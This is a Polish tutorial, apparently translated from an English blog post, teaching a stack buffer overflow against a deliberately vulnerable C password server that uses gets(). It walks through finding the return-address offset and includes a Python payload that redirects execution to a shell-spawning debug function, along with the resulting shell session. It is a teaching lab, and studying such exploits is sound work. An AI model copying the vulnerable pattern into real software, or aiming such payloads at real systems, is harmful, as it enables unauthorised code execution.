Twoje pierwsze przepełnienie bufora
Niezależnie od tego, czy jesteś studentem, programistą czy menedżerem w firmie, powinieneś tego spróbować. Kluczem do pisania bezpiecznego kodu jest zrozumienie, w jaki sposób zły kod się psuje. Jedynym sposobem na złamanie złego kodu jest ubrudzenie sobie rąk i rozpoczęcie otwierania skorup w wyzwaniach związanych z eksploatacją binarną. W tym artykule przeprowadzę Cię przez proces przeprowadzania własnego ataku polegającego na przepełnieniu bufora, korzystając z przykładu, który zrobiłem na YouTube.
W jednym z moich filmów na YouTube wyjaśniłem, w jaki sposób ciągi znaków w języku programowania C stały się przyczyną hakowania ludzi. Głównym tego powodem jest to, że nie ma atrybutu upieczonej długości powiązanego z typem ciągu C. Jedynym sposobem sprawdzenia, czy łańcuch jest gotowy, jest przejście do jego końca.
https://youtu.be/fjMrDDj47E8
Koncepcja ta doprowadziła do powstania niezliczonych luk w zabezpieczeniach oprogramowania związanych z przepełnieniem bufora, co w efekcie doprowadziło do tysięcy cyberataków i kradzieży danych osobowych.
Nasz wrażliwy serwer
Poniżej znajduje się kod prostego serwera w C.
#include <stdio.h>
#include <secrets.h>
void debug()
{
printf("!! ENTERING DEBUG MODE !!\n");
system("/bin/bash");
}
int checkPassword()
{
char password[64];
printf("password: ");
gets(password);
return isValidPassword(password);
}
int main(int argc, char **argv)
{
printf("WELCOME TO THE SECURE SERVER\n");
if (checkPassword())
{
debug();
} else {
printf("Wrong password, sorry;\n");
}
}
Jednak istnieje tutaj poważna luka. Hasło, które ostatecznie zostanie sprawdzone, jest odczytywane przez funkcję gets , która jest niezwykle wrażliwą funkcją. Jeśli mi nie wierzysz, sprawdź stronę podręcznika, aby uzyskać informacje o pobierach.
Never use gets(). Because it is impossible to tell without knowing the data
in advance how many characters gets() will read, and because gets() will
continue to store characters past the end of the buffer, it is extremely
dangerous to use. It has been used to break computer security. Use fgets()
instead.
Stos
Programistom i specjalistom ds. bezpieczeństwa cybernetycznego najtrudniej jest zrozumieć, w jaki sposób przekroczenie danych poza buforem może doprowadzić hakera do przejęcia kontroli nad Twoim kodem, a ostatecznie nad komputerem. Dzieje się tak ze względu na sposób, w jaki komputery organizują pamięć podczas działania programu.

W powyższym przykładzie kodu program uruchamia się w main. Po głównym uruchomieniu , w linii 10, wywoływana jest inna_funkcja . Niezwykle ważne jest zrozumienie, w jaki sposób other_function wie, aby przejść do linii 11 po powrocie.
Struktura zawierająca te informacje jest nazywana „stosem”. Stos to obszar pamięci RAM, który jest używany podczas wykonywania programu i służy do przechowywania zarówno informacji o przepływie sterowania (takich jak adresy zwrotne), jak i danych.
Kiedy main wywołuje other_function , adres, który zostanie wykonany jako następny w main po powrocie other_function , jest umieszczany na szczycie stosu. inna_funkcja działa, a następnie program wraca do adresu zapisanego przez main .
W tym miejscu zaczynają mieć znaczenie przepełnienia bufora. Jeśli w danych twojego programu występuje przepełnienie bufora, możesz zmienić informacje o przepływie sterowania i ostatecznie zmienić sposób wykonywania programu.

Spróbuj sam
To samo dotyczy tego fragmentu kodu tutaj. Ideą tego programu jest: jeśli znasz hasło, otrzymujesz powłokę. Niestety, my, hakerzy, nie znamy hasła, więc nie dostajemy powłoki. Ponieważ jednak funkcja pobiera jest używana, możemy wykorzystać lukę w zabezpieczeniach związaną z przepełnieniem bufora i przepełnić adres zwrotny. Zamiast wracać do main , możemy wrócić bezpośrednio do funkcji debugowania bez znajomości hasła.
Śledź tutaj:
https://github.com/lowlevellearning/secure-server-stuff
Funkcjonalność testu
Aby rozpocząć, powinniśmy uruchomić serwer i przetestować jego funkcjonalność. Spróbujmy też odgadnąć hasło.

Dobra, bez kości. Tu zaczyna się hakowanie.
Awaria serwera
Możemy skorzystać z przepełnienia bufora, jak sama nazwa wskazuje, przepełniając bufor. W tym celu udostępniamy więcej danych niż serwer może obsłużyć.

Na dole widzimy, że program miał błąd segmentacji. Oznacza to, że program próbował uzyskać dostęp do pamięci, do której nie miał dostępu. Jeśli jesteś programistą, to jest złe. Ale jeśli próbujesz włamać się na serwer, to dobrze :)
Rozbijmy katastrofę trochę dalej.

Tutaj widzimy, że program wyłączył segfault podczas próby wykonania instrukcji pod adresem 0x41414141. Ten adres powinien wydawać się… dziwny. Co ciekawe, 0x41414141 jest szesnastkową reprezentacją ciągu „AAAA”, co oznacza, że nasz ciąg As przepełnił adres zwrotny i procesor próbował go wykonać. TERAZ HAKOWALI!
Przejąć kontrolę
Aby uzyskać dokładną kontrolę nad adresem zwrotnym, musimy dokładnie określić, która część naszego ciągu ASCII spowodowała awarię programu. Możemy to zrobić, modulując nasz ciąg różnymi znakami i używając znaków do określenia, gdzie zaczyna się i kończy nasza kontrola nad adresem zwrotnym.

Zamiast długiego ciągu As wprowadziliśmy 64 As, po których następuje seria dodatkowych znaków ASCII. 64 to długość naszego bufora wejściowego, więc jest to dobre miejsce do zgadywania długości. Następnie wstawiamy dodatkowe znaki. Aby sprawdzić, gdzie zaczyna się nasza kontrola, użyj tego samego polecenia, co poprzednio.

Teraz możecie zobaczyć, że mamy nowy adres zwrotny. 0x45454545 to szesnastkowa reprezentacja „EEEE”! Oznacza to, że ustaliliśmy, gdzie nasze przepełnienie przejmuje kontrolę nad wskaźnikiem powrotu. Stąd musimy umieścić adres w buforze, na którym nam naprawdę zależy. Próbujemy wrócić do funkcji debugowania, więc powinniśmy umieścić ten adres w miejscu łańcucha EEEE.
Aby określić adres debugowania, uruchamiamy proste polecenie…
objdump -d -Mintel ./hacked | less

Wygląda na to, że adres debugowania to 0x08049296. Jeśli umieścimy adres debugowania w miejscu, w którym był nasz ciąg EEEE, być może uda nam się sterować programem i wrócić do debugowania bez konieczności podawania hasła.
Ostateczny exploit
Możemy to zrobić za pomocą python-fu.
import sys
payload = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
payload += b"BBBBCCCCDDDD"
payload += b"\x08\x04\x92\x96"[::-1]
sys.stdout.buffer.write(payload)
user@user:~/vuln$ (python3 exploit.py; cat) | ./hacked
WELCOME TO THE SECURE SERVER
password: !! ENTERING DEBUG MODE !!
cat password
too_kool_4_skoo
Śledź mnie na Medium, przejdź do Subskrybuj na YouTube. Więcej w przyszłości!